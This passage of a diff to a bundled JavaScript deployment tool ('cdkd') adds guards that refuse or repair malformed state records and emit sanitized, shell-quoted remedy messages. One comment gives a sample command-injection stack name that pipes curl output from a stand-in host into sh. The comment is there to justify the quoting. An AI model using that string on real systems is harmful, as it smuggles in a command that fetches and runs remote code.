return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. Where the stored value is a string or a list, 'Object.entries' walks it as readily as a map, so diffing it INVENTS a REMOVE row per character or element carrying the record's own characters; where it is a number, a boolean or null, it yields no comparison at all. Continuing with it EMPTY: every output this diff resolves is reported as an ADD and no stored key is reported as a REMOVE, which is not the same as the record holding none. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
3745
|
+
}
|
|
3746
|
+
/**
|
|
3747
|
+
* For a command that can WRITE state: refuse the record by name instead of
|
|
3748
|
+
* repairing it.
|
|
3749
|
+
*
|
|
3750
|
+
* Repairing is actively DANGEROUS here, and the PR that introduced this module
|
|
3751
|
+
* shipped that danger for one round before its security review caught it.
|
|
3752
|
+
* `cdkd scrub` gates its `saveState` on `recordsChanged > 0`, which an OUTPUTS
|
|
3753
|
+
* change alone satisfies — so a record holding `"resources": null` and a
|
|
3754
|
+
* plaintext secret in `outputs` would be scrubbed, and then saved back with a
|
|
3755
|
+
* repaired, WELL-FORMED `resources: {}`. The malformed record is the only
|
|
3756
|
+
* signal that anything is wrong; laundering it into a legitimate-looking empty
|
|
3757
|
+
* one is permanent and silent. The next `cdkd deploy` then reads zero resources
|
|
3758
|
+
* and CREATES the whole stack a second time, and the next `cdkd destroy`
|
|
3759
|
+
* deletes nothing and orphans every live resource — and the one-shot warning
|
|
3760
|
+
* that would have said so is long gone, quite possibly for a different
|
|
3761
|
+
* operator. `cdkd import --force` launders it the same way.
|
|
3762
|
+
*
|
|
3763
|
+
* Refusing still satisfies #3018, whose complaint was the BARE `TypeError`:
|
|
3764
|
+
* this names the stack, the region, the defect and the remedy, and exits on a
|
|
3765
|
+
* code rather than on a stack trace.
|
|
3766
|
+
*/
|
|
3767
|
+
function refuseMalformedState(state, stackName, region) {
|
|
3768
|
+
if (hasReadableResources(state)) return;
|
|
3769
|
+
throw new CdkdError(malformedStateRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED);
|
|
3770
|
+
}
|
|
3771
|
+
/**
|
|
3772
|
+
* The `outputs` half of {@link malformedStateRefusalMessage}, for the same
|
|
3773
|
+
* reason that one is exported separately from the throw: `cdkd scrub`'s exit
|
|
3774
|
+
* `1` is spoken for and it raises its own exit-2 class around this text.
|
|
3775
|
+
*
|
|
3776
|
+
* A DIFFERENT text from the `resources` refusal because the consequence of
|
|
3777
|
+
* continuing differs, the same way the three warnings in this module differ. The
|
|
3778
|
+
* `resources` message forbids `cdkd deploy` / `cdkd destroy` because an
|
|
3779
|
+
* unreadable resource MAP is indistinguishable from an empty stack; the resource
|
|
3780
|
+
* set is intact here. What is at stake instead is the SHARED exports index:
|
|
3781
|
+
* `cdkd/_index/<region>/exports.json` is rebuilt from these bags, and a string
|
|
3782
|
+
* bag published one fabricated export per character into the namespace every
|
|
3783
|
+
* other stack's `Fn::ImportValue` binds against.
|
|
3784
|
+
*
|
|
3785
|
+
* Identifiers are sanitized and THEN shell-quoted and the command is emitted
|
|
3786
|
+
* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
|
|
3787
|
+
*/
|
|
3788
|
+
function malformedOutputsRefusalMessage(stackName, region) {
|
|
3789
|
+
const stack = safeIdentifier(stackName);
|
|
3790
|
+
const reg = safeIdentifier(region);
|
|
3791
|
+
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. This command can WRITE state, so it refuses rather than continuing: it REBUILDS the bag before saving, and 'Object.entries' walks a string or a list as readily as a map, so a six-character value would be saved back as a well-formed six-key map (a null one as an empty map). That replaces the only signal anything is wrong with a legitimate-looking record, permanently — and the next deploy republishes it into the shared exports index every other stack's Fn::ImportValue resolves against. Repair or remove the record first. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
3792
|
+
}
|
|
3793
|
+
/**
|
|
3794
|
+
* The line `ExportIndexStore`'s rebuild emits for a producer record whose
|
|
3795
|
+
* export set it could not read (issue go-to-k/cdkd#3192) — `outputs` not a
|
|
3796
|
+
* plain object, or `exportNames` present and not an array.
|
|
3797
|
+
*
|
|
3798
|
+
* A THIRD outputs text rather than {@link malformedOutputsWarning} because the
|
|
3799
|
+
* consequence is again different, which is the rule the two above already
|
|
3800
|
+
* follow. That one describes a DIFF continuing with an empty left-hand side.
|
|
3801
|
+
* This describes a record CONTRIBUTING NOTHING to a shared, region-wide index
|
|
3802
|
+
* other stacks resolve against — so the symptom a reader will actually meet is
|
|
3803
|
+
* a later `Fn::ImportValue` failing in a DIFFERENT stack, naming the consumer
|
|
3804
|
+
* and not this record. Saying which producer dropped out is the whole value of
|
|
3805
|
+
* the line.
|
|
3806
|
+
*
|
|
3807
|
+
* It says the rebuild CONTINUES, because it does: refusing would take every
|
|
3808
|
+
* other producer in the region down with it, and the index is best-effort by
|
|
3809
|
+
* design.
|
|
3810
|
+
*
|
|
3811
|
+
* Identifiers are sanitized and THEN shell-quoted and the command is emitted
|
|
3812
|
+
* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
|
|
3813
|
+
*/
|
|
3814
|
+
function malformedExportSourceWarning(stackName, region) {
|
|
3815
|
+
const stack = safeIdentifier(stackName);
|
|
3816
|
+
const reg = safeIdentifier(region);
|
|
3817
|
+
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map or 'exportNames' list — the record is malformed or truncated. It contributes NO exports to this region's index, which is not the same as the stack exporting none: an Fn::ImportValue of a name this stack really publishes will fail in the CONSUMER stack, naming that stack rather than this record. Continuing with the other producers — enumerating a string or a list here would instead publish one FABRICATED export per character or element. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
3818
|
+
}
|
|
3819
|
+
/**
|
|
3820
|
+
* The line a READ-ONLY command emits when a record's `exportNames` FIELD could
|
|
3821
|
+
* not be used (go-to-k/cdkd#3192 review) — present and not an array, or an
|
|
3822
|
+
* array with no usable name in it.
|
|
3823
|
+
*
|
|
3824
|
+
* Why a message at all, when the predicate already fails closed: before this
|
|
3825
|
+
* class was guarded, `cdkd diff` over such a record died with
|
|
3826
|
+
* `TypeError: state.exportNames.filter is not a function`. Failing closed
|
|
3827
|
+
* inside `importableOutputKeys` is right — it is a pure predicate reached from
|
|
3828
|
+
* five commands and holds no stack identity — but silently replacing a LOUD
|
|
3829
|
+
* wrong answer with a QUIET one is its own regression, and `cdkd diff` is
|
|
3830
|
+
* exactly the caller that DOES hold the identity. Without this it warned about
|
|
3831
|
+
* a damaged `outputs` bag on one line and said nothing about the damaged
|
|
3832
|
+
* `exportNames` on the same record.
|
|
3833
|
+
*
|
|
3834
|
+
* Deliberately NOT {@link malformedOutputsWarning}'s text: that one is about
|
|
3835
|
+
* the BAG, and the consequence differs. An unusable export SET does not lose
|
|
3836
|
+
* the comparison's left-hand side — every stored key is still diffed — it
|
|
3837
|
+
* makes the preview report no key as an export, so a row that would carry
|
|
3838
|
+
* `[export]` renders without it.
|
|
3839
|
+
*
|
|
3840
|
+
* Identifiers are sanitized and THEN shell-quoted and the command is emitted
|
|
3841
|
+
* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
|
|
3842
|
+
*/
|
|
3843
|
+
function malformedExportNamesWarning(stackName, region) {
|
|
3844
|
+
const stack = safeIdentifier(stackName);
|
|
3845
|
+
const reg = safeIdentifier(region);
|
|
3846
|
+
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has an unusable 'exportNames' list — the record is malformed or truncated. It is read as an EMPTY export set, which is not the same as the record holding one: no stored key is reported as an export, so a row that should carry an '[export]' tag renders without it. Reading it as UNKNOWN instead would be worse — that falls back to the pre-v9 rule where every output name is importable. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
3847
|
+
}
|
|
3848
|
+
/**
|
|
3849
|
+
* For a command that can WRITE state: refuse a record whose `outputs` bag
|
|
3850
|
+
* cannot be read, instead of rebuilding it (issue go-to-k/cdkd#3192).
|
|
3851
|
+
*
|
|
3852
|
+
* The SIBLING of {@link refuseMalformedState}, and deliberately a second call
|
|
3853
|
+
* rather than a widening of that one. A record can be malformed in either
|
|
3854
|
+
* container alone, the two carry different consequences, and the refusal a user
|
|
3855
|
+
* sees must name the container that is actually broken — a `resources` message
|
|
3856
|
+
* printed over an intact resource map tells them not to run `cdkd deploy` for a
|
|
3857
|
+
* reason that does not hold.
|
|
3858
|
+
*
|
|
3859
|
+
* Why REFUSE and not {@link repairMalformedOutputsForReadOnly}, which is the
|
|
3860
|
+
* opposite answer for the same container one function up: repairing the bag and
|
|
3861
|
+
* then saving it IS the laundering this is here to stop. Measured, not
|
|
3862
|
+
* reasoned — `rewriteResourceReferences` turns `outputs: 'abcdef'` into
|
|
3863
|
+
* `{"0":"a",…,"5":"f"}` and `cdkd orphan` saves that; `cdkd scrub`'s
|
|
3864
|
+
* `redactUnaccountedOutputs` spreads the same string into a map and its
|
|
3865
|
+
* `outputsChanged` compare then satisfies the `recordsChanged > 0` write gate;
|
|
3866
|
+
* `cdkd import` carries a `null` bag through `?? {}`. Each one rewrites a
|
|
3867
|
+
* damaged record into a well-formed one and the evidence is gone.
|
|
3868
|
+
*
|
|
3869
|
+
* CALL IT AT THE LOAD, beside {@link refuseMalformedState} and above the first
|
|
3870
|
+
* expression that reads the bag — the placement rule
|
|
3871
|
+
* {@link repairMalformedResourcesForReadOnly}'s note records, for the reason it
|
|
3872
|
+
* records: a guard written at the rebuild leaves every earlier dereference in
|
|
3873
|
+
* front of it.
|
|
3874
|
+
*/
|
|
3875
|
+
function refuseMalformedOutputs(state, stackName, region) {
|
|
3876
|
+
if (hasReadableOutputs(state)) return;
|
|
3877
|
+
throw new CdkdError(malformedOutputsRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED);
|
|
3878
|
+
}
|
|
3879
|
+
|
|
3466
3880
|
//#endregion
|
|
3467
3881
|
//#region src/state/export-index-store.ts
|
|
3468
3882
|
/**
|
|
@@ -3928,8 +4342,13 @@ var ExportIndexStore = class {
|
|
|
3928
4342
|
}));
|
|
3929
4343
|
const survivorModifiedAt = /* @__PURE__ */ new Map();
|
|
3930
4344
|
for (const { ref, state } of results) {
|
|
3931
|
-
if (!state
|
|
4345
|
+
if (!state) continue;
|
|
4346
|
+
if (state.outputs === void 0) continue;
|
|
3932
4347
|
const region = ref.region ?? this.region;
|
|
4348
|
+
if (!hasReadableExportSet(state)) {
|
|
4349
|
+
this.logger.warn(malformedExportSourceWarning(ref.stackName, region));
|
|
4350
|
+
continue;
|
|
4351
|
+
}
|
|
3933
4352
|
const stateModified = state.lastModified ?? 0;
|
|
3934
4353
|
for (const [name, value] of Object.entries(importableOutputs(state))) {
|
|
3935
4354
|
const existing = entries.get(name);
|
|
@@ -64007,315 +64426,6 @@ function createDeployCommand() {
|
|
|
64007
64426
|
return cmd;
|
|
64008
64427
|
}
|
|
64009
64428
|
|
|
64010
|
-
//#endregion
|
|
64011
|
-
//#region src/state/malformed-resources-bag.ts
|
|
64012
|
-
/** The error code every malformed-record refusal carries, whatever its class. */
|
|
64013
|
-
const STATE_RESOURCES_MALFORMED = "STATE_RESOURCES_MALFORMED";
|
|
64014
|
-
/**
|
|
64015
|
-
* Answer the ONE question both helpers below key on: can this record's
|
|
64016
|
-
* resource map be read at all?
|
|
64017
|
-
*
|
|
64018
|
-
* Widened past `null` / `undefined` because the message says "no readable
|
|
64019
|
-
* resources map" and a hand-edited record does not stop at those two: a
|
|
64020
|
-
* `[]`, a `5` or a `"ab"` all survive `Object.entries` and yield a bag that is
|
|
64021
|
-
* empty or, for the string, absurd — repaired silently and warned about
|
|
64022
|
-
* nowhere. The predicate is the plain-object test the bag's own type implies.
|
|
64023
|
-
*/
|
|
64024
|
-
function hasReadableResources(state) {
|
|
64025
|
-
return isReadableBag(state.resources);
|
|
64026
|
-
}
|
|
64027
|
-
/**
|
|
64028
|
-
* The plain-object test itself, without the `resources` field bound to it.
|
|
64029
|
-
*
|
|
64030
|
-
* Exported because {@link hasReadableResources} is not the only caller any
|
|
64031
|
-
* more. Spelling the same test a second time at any of them is what this export
|
|
64032
|
-
* exists to prevent: the copies could then drift, and the one that drifted
|
|
64033
|
-
* would fabricate again while looking guarded.
|
|
64034
|
-
*
|
|
64035
|
-
* The consumers outside this module, DERIVED from
|
|
64036
|
-
* `grep -rn "isReadableBag" src/` rather than from recall — re-run that command
|
|
64037
|
-
* rather than trusting this list, which is the third enumeration in this
|
|
64038
|
-
* module's history to be written by reasoning and come out incomplete:
|
|
64039
|
-
*
|
|
64040
|
-
* - `src/cli/commands/state.ts` (3 call sites, all in `repairRenderedContainers`):
|
|
64041
|
-
* `cdkd state show` and `cdkd state resources` walk FOUR more record
|
|
64042
|
-
* containers with `Object.entries` — `outputs`, `skippedOutputs`, and each
|
|
64043
|
-
* resource's `attributes` and `properties` — and a non-object in any of them
|
|
64044
|
-
* fabricates rows exactly as the `resources` bag did (go-to-k/cdkd#3187).
|
|
64045
|
-
* - `src/analyzer/outputs-diff.ts` (1 call site, in `computeOutputsDiff`):
|
|
64046
|
-
* `cdkd diff` walks the stored `outputs` bag to emit its `REMOVE` rows, and a
|
|
64047
|
-
* string there invented one row per character (go-to-k/cdkd#3189). This one is
|
|
64048
|
-
* CROSS-LAYER — the analyzer sits above the state layer, so the import is
|
|
64049
|
-
* downward and carries no cycle, but it means an edit here reaches a layer the
|
|
64050
|
-
* two `resources`-bag callers do not.
|
|
64051
|
-
*
|
|
64052
|
-
* What it does NOT decide is whether a given container is malformed. That is a
|
|
64053
|
-
* per-container call, because absence means different things: an absent
|
|
64054
|
-
* `resources` bag is a defect ({@link hasReadableResources} says so), while an
|
|
64055
|
-
* absent `skippedOutputs` is the normal pre-#2740 record. Each caller pairs
|
|
64056
|
-
* this predicate with its own absence rule.
|
|
64057
|
-
*/
|
|
64058
|
-
function isReadableBag(container) {
|
|
64059
|
-
return typeof container === "object" && container !== null && !Array.isArray(container);
|
|
64060
|
-
}
|
|
64061
|
-
/**
|
|
64062
|
-
* The shared explanation, in the terms the reader needs: what is wrong, what
|
|
64063
|
-
* to look at, and what NOT to do next.
|
|
64064
|
-
*
|
|
64065
|
-
* Both identifiers are SANITIZED and THEN SHELL-QUOTED, and the command is
|
|
64066
|
-
* emitted LAST and UNWRAPPED — the shape `lock-contention-message.ts` and
|
|
64067
|
-
* `.claude/rules/layout-state-types.md` require of any suggestion a user is
|
|
64068
|
-
* meant to paste, for two separate reasons.
|
|
64069
|
-
*
|
|
64070
|
-
* Sanitizing alone is not enough. `displaySafe(..., { asciiOnly: true })` is a
|
|
64071
|
-
* printable-ASCII allowlist, so it removes the line- and escape-forgery class
|
|
64072
|
-
* but KEEPS `'`, `;`, `|`, `` ` ``, `$` and spaces — and neither name is
|
|
64073
|
-
* trusted here, since a stack name reaches the cross-stack read path from an
|
|
64074
|
-
* `Fn::GetStackOutput` argument or an S3 key. A name spelled
|
|
64075
|
-
* `a'; curl http://x|sh; echo '` would close the quoting and append its own
|
|
64076
|
-
* command to the line this text tells the user to RUN.
|
|
64077
|
-
*
|
|
64078
|
-
* Wrapping the command in `'...'` is not enough either, and is what makes the
|
|
64079
|
-
* two compose badly: `shellQuote` does its own quoting, so an outer wrapper
|
|
64080
|
-
* produces something unpastable. Hence unwrapped and last.
|
|
64081
|
-
*
|
|
64082
|
-
* An identifier that sanitizes to EMPTY becomes `UNRENDERABLE` rather than
|
|
64083
|
-
* nothing — an empty argument makes `--stack-region` swallow the next flag,
|
|
64084
|
-
* turning a remedy into a differently-broken command.
|
|
64085
|
-
*/
|
|
64086
|
-
function safeIdentifier(value) {
|
|
64087
|
-
const safe = displaySafe(value, { asciiOnly: true });
|
|
64088
|
-
if (!safe) return UNRENDERABLE;
|
|
64089
|
-
const { text, truncated } = truncateCodePoints(safe, 128);
|
|
64090
|
-
return truncated ? `${text}...` : text;
|
|
64091
|
-
}
|
|
64092
|
-
function malformedStateDetail(stackName, region) {
|
|
64093
|
-
const stack = safeIdentifier(stackName);
|
|
64094
|
-
const reg = safeIdentifier(region);
|
|
64095
|
-
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'resources' map — the record is malformed or truncated. Do NOT run 'cdkd deploy' or 'cdkd destroy' against it: both read the same map, and an unreadable one is indistinguishable from an empty stack, so deploy would re-CREATE every resource and destroy would delete none of them. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
64096
|
-
}
|
|
64097
|
-
/**
|
|
64098
|
-
* For a READ-ONLY command: give the record an empty resource bag so the
|
|
64099
|
-
* command can report on it, and say so (issue go-to-k/cdkd#3018).
|
|
64100
|
-
*
|
|
64101
|
-
* `parseStateBody` deliberately does not validate the inner shape, so a
|
|
64102
|
-
* hand-edited or truncated record reaches a command with `resources` absent,
|
|
64103
|
-
* `null`, or some other non-object. Every such command then died on a raw
|
|
64104
|
-
* `TypeError` from the first `Object.keys` / `in` / index read — the exact
|
|
64105
|
-
* wording differs per shape (`Cannot convert undefined or null to object`,
|
|
64106
|
-
* `Cannot use 'in' operator`, `Cannot read properties of null`), and none of
|
|
64107
|
-
* them names a stack, a key or a remedy, from exactly the commands a user
|
|
64108
|
-
* reaches for WHEN the state is broken.
|
|
64109
|
-
*
|
|
64110
|
-
* WHY AT THE LOAD AND NOT AT EACH LOOP. The first cut of #3018 put `?? {}` on
|
|
64111
|
-
* the twelve `Object.entries(state.resources)` loops, which was inert: every
|
|
64112
|
-
* one of those flows dereferences the bag EARLIER — `!(id in state.resources)`,
|
|
64113
|
-
* `hasOwnProperty.call(...)`, `state.resources[logicalId]` — so the abort still
|
|
64114
|
-
* happened one line up and the guards only made it look handled. One call per
|
|
64115
|
-
* load dominates the whole flow behind it, including the helpers that take the
|
|
64116
|
-
* state as a parameter (`orphan-rewriter`, `diff-calculator`,
|
|
64117
|
-
* `collectCcApiRoutes`).
|
|
64118
|
-
*
|
|
64119
|
-
* Mutates in place and returns whether it repaired anything; the caller warns
|
|
64120
|
-
* on `true`. A silent repair is its own defect — an empty resource set is
|
|
64121
|
-
* indistinguishable from a healthy empty stack in every later line of output,
|
|
64122
|
-
* so `No changes detected` over an unreadable record is a clean verdict about
|
|
64123
|
-
* nothing.
|
|
64124
|
-
*
|
|
64125
|
-
* **Only for a command that cannot WRITE state.** Anything that can persist
|
|
64126
|
-
* uses {@link refuseMalformedState} instead; see its note.
|
|
64127
|
-
*/
|
|
64128
|
-
function repairMalformedResourcesForReadOnly(state) {
|
|
64129
|
-
if (hasReadableResources(state)) return false;
|
|
64130
|
-
state.resources = {};
|
|
64131
|
-
return true;
|
|
64132
|
-
}
|
|
64133
|
-
/**
|
|
64134
|
-
* The refusal TEXT, for a command whose own exit-code contract means this
|
|
64135
|
-
* cannot be a plain `CdkdError`.
|
|
64136
|
-
*
|
|
64137
|
-
* `cdkd scrub` is the case: its exit `1` is SPOKEN FOR ("--fail found
|
|
64138
|
-
* plaintext") and every one of its refusals carries `exitCode = 2`, because a
|
|
64139
|
-
* CI gate reading the code alone must be able to tell "scrub looked and found
|
|
64140
|
-
* a leak" from "scrub refused to look" — the two call for opposite responses.
|
|
64141
|
-
* So scrub tests {@link hasReadableResources} and raises its own class around
|
|
64142
|
-
* this text rather than calling {@link refuseMalformedState}.
|
|
64143
|
-
*
|
|
64144
|
-
* The other three refusing commands do NOT share that need, and giving them a
|
|
64145
|
-
* single shared code would be wrong in the other direction: `cdkd rollback`
|
|
64146
|
-
* documents `2` as "PARTIAL — journal kept, idempotent re-run", so a `2` here
|
|
64147
|
-
* would tell an operator to re-run a command that attempted nothing.
|
|
64148
|
-
*/
|
|
64149
|
-
function malformedStateRefusalMessage(stackName, region) {
|
|
64150
|
-
return `${malformedStateDetail(stackName, region)} This command can WRITE state, so it refuses rather than continuing: saving over a record whose resource map could not be read would replace the evidence with a well-formed empty one and lose it permanently. Repair or remove the record first.`;
|
|
64151
|
-
}
|
|
64152
|
-
/**
|
|
64153
|
-
* The warning a view emits when it emptied one or more {@link
|
|
64154
|
-
* RenderedStateContainer}s it could not walk (go-to-k/cdkd#3187).
|
|
64155
|
-
*
|
|
64156
|
-
* Deliberately NOT {@link malformedResourcesWarning}'s text, and the reason is
|
|
64157
|
-
* narrower than it looks. That one tells the reader not to run `cdkd deploy` /
|
|
64158
|
-
* `cdkd destroy` because an unreadable `resources` MAP is indistinguishable
|
|
64159
|
-
* from an empty stack: deploy would re-CREATE everything and destroy would
|
|
64160
|
-
* delete nothing. No container named here can produce that specific confusion —
|
|
64161
|
-
* the resource SET is still readable — so borrowing that sentence would attach
|
|
64162
|
-
* a re-create-the-world warning to a record whose resource list is intact.
|
|
64163
|
-
*
|
|
64164
|
-
* It is NOT that these containers are display-only. `properties` is read by the
|
|
64165
|
-
* deploy change calculation (`src/analyzer/diff-calculator.ts`), which imports
|
|
64166
|
-
* nothing from this module, and a non-object there compares unequal to any
|
|
64167
|
-
* desired object and yields a spurious property-change set — filed as
|
|
64168
|
-
* go-to-k/cdkd#3191. An earlier revision of this comment asserted the
|
|
64169
|
-
* display-only premise, which would have read as licence to drop a guard on
|
|
64170
|
-
* that path (review of go-to-k/cdkd#3190).
|
|
64171
|
-
*
|
|
64172
|
-
* What stays the same is the remedy: `--json` is the mode that shows the
|
|
64173
|
-
* stored value.
|
|
64174
|
-
*
|
|
64175
|
-
* ONE warning per record however many containers it names — a stack whose 500
|
|
64176
|
-
* resources all carry a hand-edited `properties` gets one line, not 500. The
|
|
64177
|
-
* caller FILTERS a fixed order (`RENDERED_CONTAINER_ORDER`), so the text is
|
|
64178
|
-
* stable across records. Not `.sort()` — that order is deliberately not
|
|
64179
|
-
* alphabetical, and its own JSDoc says so.
|
|
64180
|
-
*
|
|
64181
|
-
* Both identifiers are sanitized and then shell-quoted, and the command is
|
|
64182
|
-
* emitted LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s own note
|
|
64183
|
-
* gives.
|
|
64184
|
-
*
|
|
64185
|
-
* The container NAMES take {@link safeIdentifier} too — the SAME helper, so
|
|
64186
|
-
* they cannot drift from it — but NOT `shellQuote`, because they appear in the
|
|
64187
|
-
* PROSE and never inside the command this text tells the reader to run; the
|
|
64188
|
-
* command carries the two identifiers and nothing else.
|
|
64189
|
-
*
|
|
64190
|
-
* Sanitizing them is not dead code written for a case that cannot happen. The
|
|
64191
|
-
* union above is closed at COMPILE time, so without this the guarantee would
|
|
64192
|
-
* live in a comment, and the day a caller derives a name from a record instead
|
|
64193
|
-
* of from a literal an unsanitized element could forge a line, render as empty
|
|
64194
|
-
* quotes naming nothing, or run to kilobytes and push the remedy command off
|
|
64195
|
-
* the reader's screen. `safeIdentifier` closes all three and is the identity on
|
|
64196
|
-
* all four literals, so no user-visible text moves.
|
|
64197
|
-
*
|
|
64198
|
-
* What it does NOT close, stated rather than reassured away: a forged name made
|
|
64199
|
-
* only of printable ASCII still renders verbatim inside its quotes and could
|
|
64200
|
-
* read as prose. That residual is bounded to the PROSE — the command the reader
|
|
64201
|
-
* pastes is built from the two shell-quoted identifiers alone — and closing it
|
|
64202
|
-
* would mean JSON-quoting a name in the one place the text is meant to read as
|
|
64203
|
-
* English (review of go-to-k/cdkd#3190).
|
|
64204
|
-
*/
|
|
64205
|
-
function malformedRenderedContainersWarning(stackName, region, containers) {
|
|
64206
|
-
const stack = safeIdentifier(stackName);
|
|
64207
|
-
const reg = safeIdentifier(region);
|
|
64208
|
-
const names = containers.map((name) => `'${safeIdentifier(name)}'`).join(", ");
|
|
64209
|
-
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has a non-object ${names} — the record is malformed or truncated. 'Object.entries' walks a string or a list as readily as a map, so rendering one INVENTS a row per character or element. Continuing with it EMPTY: this view shows no rows there, which is not the same as the record holding none. A per-resource container is named once however many resources hold one. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
64210
|
-
}
|
|
64211
|
-
/** The warning a caller of {@link repairMalformedResourcesForReadOnly} emits. */
|
|
64212
|
-
function malformedResourcesWarning(stackName, region) {
|
|
64213
|
-
return `${malformedStateDetail(stackName, region)} Continuing with an EMPTY resource set: this command's output describes zero resources, which is not the same as the stack having none.`;
|
|
64214
|
-
}
|
|
64215
|
-
/**
|
|
64216
|
-
* The `outputs` half of {@link repairMalformedResourcesForReadOnly}, for a
|
|
64217
|
-
* READ-ONLY command that DIFFS the stored bag rather than rendering it
|
|
64218
|
-
* (go-to-k/cdkd#3189).
|
|
64219
|
-
*
|
|
64220
|
-
* `computeOutputsDiff` enumerates the stored bag twice, the second walk
|
|
64221
|
-
* emitting one `REMOVE` row per stored key today's template no longer declares.
|
|
64222
|
-
* It used to admit the bag on a bare `?? {}`, which covers `null` and
|
|
64223
|
-
* `undefined` only — so a hand-edited or truncated record whose `outputs` holds
|
|
64224
|
-
* a string or a list previewed the REMOVAL of outputs that never existed, one
|
|
64225
|
-
* row per character or element, each carrying a character of the record as its
|
|
64226
|
-
* `old:` side, with `cdkd diff --fail` exiting 1 on them.
|
|
64227
|
-
*
|
|
64228
|
-
* AT THE LOAD, for the reason
|
|
64229
|
-
* {@link repairMalformedResourcesForReadOnly}'s own note records and one more
|
|
64230
|
-
* that is specific to this container: `cdkd diff` dereferences the stored bag
|
|
64231
|
-
* BEFORE the walk that fabricates. `resolveTemplateOutputs` asks
|
|
64232
|
-
* `hasOwnProperty.call(storedOutputs, key)` for go-to-k/cdkd#2740's
|
|
64233
|
-
* skipped-output record and for go-to-k/cdkd#1942's literal `Export.Name`
|
|
64234
|
-
* verdict — which ANSWERS TRUE on a string for `'0'` or `'length'`, and THROWS
|
|
64235
|
-
* outright on `null` (`Cannot convert undefined or null to object`). So a guard
|
|
64236
|
-
* written at `computeOutputsDiff` alone leaves a wrong decision, or a raw
|
|
64237
|
-
* `TypeError`, one call above it.
|
|
64238
|
-
*
|
|
64239
|
-
* ABSENT IS EXEMPT AND `null` IS NOT, which is the one place this diverges from
|
|
64240
|
-
* {@link isReadableBag}'s verdict, and the split is measured rather than
|
|
64241
|
-
* stylistic. Both stored-bag lookups named above gate on
|
|
64242
|
-
* `storedOutputs !== undefined` before the `hasOwnProperty` call, so an ABSENT
|
|
64243
|
-
* bag never reaches one; every other consumer on the diff path carries its own
|
|
64244
|
-
* `?? {}` (`mergeNoChangeOutputs`'s `persisted`, `importableOutputKeys`, this
|
|
64245
|
-
* function's own walk). An absent bag is therefore inert, exactly the condition
|
|
64246
|
-
* under which `state.ts`'s `repairRenderedContainers` exempts it — and warning
|
|
64247
|
-
* would be a false positive on a record cdkd itself supports: `cdkd scrub`
|
|
64248
|
-
* round-trips a record with no `outputs` deliberately, refusing to materialize
|
|
64249
|
-
* `{}` over it, and the deploy's failure-path saves write
|
|
64250
|
-
* `outputs: currentState.outputs`, which `JSON.stringify` drops when it is
|
|
64251
|
-
* undefined. A `null` bag is NOT inert — it passes the `!== undefined` gate and
|
|
64252
|
-
* `hasOwnProperty.call(null, ...)` throws — so it is repaired and warned about
|
|
64253
|
-
* like any other unreadable shape.
|
|
64254
|
-
*
|
|
64255
|
-
* That leaves one clause of go-to-k/cdkd#3189's stated floor overridden on
|
|
64256
|
-
* purpose: it asked that a `null` bag "diff exactly as it does today and say
|
|
64257
|
-
* nothing", and diffing exactly as it does today means THROWING. Recorded on
|
|
64258
|
-
* the issue rather than silently traded.
|
|
64259
|
-
*
|
|
64260
|
-
* Mutates in place and returns whether it repaired anything; the caller warns
|
|
64261
|
-
* on `true` with {@link malformedOutputsWarning}. Read-only commands ONLY, for
|
|
64262
|
-
* the reason {@link refuseMalformedState} gives — a bag laundered into a
|
|
64263
|
-
* well-formed empty one is permanent, and for `outputs` it would also take the
|
|
64264
|
-
* exports index with it on the next write.
|
|
64265
|
-
*/
|
|
64266
|
-
function repairMalformedOutputsForReadOnly(state) {
|
|
64267
|
-
if (state.outputs === void 0 || isReadableBag(state.outputs)) return false;
|
|
64268
|
-
state.outputs = {};
|
|
64269
|
-
return true;
|
|
64270
|
-
}
|
|
64271
|
-
/**
|
|
64272
|
-
* The warning a caller of {@link repairMalformedOutputsForReadOnly} emits.
|
|
64273
|
-
*
|
|
64274
|
-
* Deliberately neither {@link malformedResourcesWarning}'s text nor
|
|
64275
|
-
* {@link malformedRenderedContainersWarning}'s, because the CONSEQUENCE of
|
|
64276
|
-
* continuing empty differs from both. The resources text forbids
|
|
64277
|
-
* `cdkd deploy` / `cdkd destroy` because an unreadable resource MAP is
|
|
64278
|
-
* indistinguishable from an empty stack; the resource set is intact here. The
|
|
64279
|
-
* rendered-containers text says the view "shows no rows there" — true of a
|
|
64280
|
-
* renderer, false of a diff, which does not go quiet on an empty stored bag but
|
|
64281
|
-
* reports every resolved output as an `ADD`. Saying so is the point: an
|
|
64282
|
-
* operator who reads `ADD` rows for outputs the stack already has needs to know
|
|
64283
|
-
* the comparison lost its left-hand side.
|
|
64284
|
-
*
|
|
64285
|
-
* Identifiers are sanitized and then shell-quoted and the command is emitted
|
|
64286
|
-
* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
|
|
64287
|
-
*/
|
|
64288
|
-
function malformedOutputsWarning(stackName, region) {
|
|
64289
|
-
const stack = safeIdentifier(stackName);
|
|
64290
|
-
const reg = safeIdentifier(region);
|
|
64291
|
-
